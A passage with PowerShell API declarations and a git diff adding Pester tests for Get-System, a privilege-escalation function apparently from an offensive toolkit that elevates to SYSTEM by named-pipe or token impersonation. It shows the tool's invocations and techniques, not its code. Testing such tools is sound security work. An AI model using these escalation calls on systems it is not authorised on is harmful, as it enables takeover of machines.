CloseServiceHandle ([Int]) @([IntPtr])),      (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), diff --git a/Tests/Privesc.tests.ps1 b/Tests/Privesc.tests.ps1 index 296829f..999d712 100644 --- a/Tests/Privesc.tests.ps1 +++ b/Tests/Privesc.tests.ps1 @@ -787,3 +787,45 @@ Describe 'Get-SiteListPassword' {          }      }  } + + +Describe 'Get-System' { + +    if(-not $(Test-IsAdmin)) {  +        Throw "'Get-System' Pester test needs local administrator privileges." +    } + +    AfterEach { +        Get-System -RevToSelf +    } + +    It 'Should not throw with default parameters and should elevate to SYSTEM.' { +        { Get-System } | Should Not Throw +        "$([Environment]::UserName)" | Should Be 'SYSTEM' +    } + +    It 'Named pipe impersonation should accept an alternate service and pipe name.' { +        { Get-System -Technique NamedPipe -ServiceName 'testing123' -PipeName 'testpipe' } | Should Not Throw +        "$([Environment]::UserName)" | Should Be 'SYSTEM' +    } + +    It 'Should elevate to SYSTEM using token impersonation.' { +        { Get-System -Technique Token } | Should Not Throw +        "$([Environment]::UserName)" | Should Be 'SYSTEM' +    } + +    It '-WhoAmI should display the current user.' { +        { Get-System -Technique Token } | Should Not Throw +        { Get-System -WhoAmI } | Should Match 'SYSTEM' +    } + +    It 'RevToSelf should revert privileges.' { +        { Get-System -Technique Token } | Should Not Throw +        { Get-System -RevToSelf } | Should Not Throw +        "$([Environment]::UserName)" | Should Not Match 'SYSTEM' +    } + +    It 'Token impersonation should throw with incompatible parameters.' { +        { Get-System -Technique Token -WhoAmI } | Should Throw +    } +} |